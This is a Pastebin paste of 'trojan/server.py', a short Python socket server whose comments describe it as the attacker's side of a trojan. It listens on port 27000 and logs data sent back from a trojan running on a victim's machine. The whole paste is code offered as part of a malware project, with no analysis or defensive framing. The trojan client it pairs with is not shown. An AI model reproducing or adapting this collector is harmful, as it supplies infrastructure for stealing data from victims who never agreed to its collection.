Advertisement
FlyFar

trojan/server.py

Oct 19th, 2023
994
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.87 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. """ Implementation of the server that collects data sent by trojan.
  4. """
  5.  
  6. import logging
  7. import socket
  8.  
  9.  
  10. class Server:
  11.     """ This class represents a server of the attacker that
  12.    collects data from the victim.
  13.    """
  14.  
  15.     def __init__(self, port):
  16.         self._port = port
  17.         # Initialize the socket for connection.
  18.         self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  19.  
  20.     @property
  21.     def port(self):
  22.         """ Port, on which the server runs (`int`). """
  23.         return self._port
  24.  
  25.     @port.setter
  26.     def port(self, new_port):
  27.         self._port = new_port
  28.  
  29.     @property
  30.     def socket(self):
  31.         """ Server socket. """
  32.         return self._socket
  33.  
  34.     def initialize(self):
  35.         """ Initialize server before session. """
  36.         try:
  37.             self.socket.bind(('localhost', self._port))
  38.             self.socket.listen()
  39.             logging.debug('Server was successfully initialized.')
  40.         except socket.error:
  41.             print('Server was not initialized due to an error.')
  42.  
  43.     def collect_data(self):
  44.         """ Collect data from client trojan application. """
  45.         # Establish a connection with the victim.
  46.         connection, address = self.socket.accept()
  47.         with connection:
  48.             print('Connection with trojan established from {}'.format(address))
  49.  
  50.             # Receive data sent by trojan diary.
  51.             while True:
  52.                 data = connection.recv(1024)
  53.                 if not data:
  54.                     break
  55.                 logging.info(data)
  56.  
  57.  
  58. if __name__ == '__main__':
  59.     logging.basicConfig(level=logging.DEBUG)
  60.  
  61.     # Create and initialize a server running on attacker's side.
  62.     server = Server(27000)
  63.     server.initialize()
  64.     # Collect the data sent by trojan that was executed on victim's side.
  65.     server.collect_data()
Tags: Server trojan
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement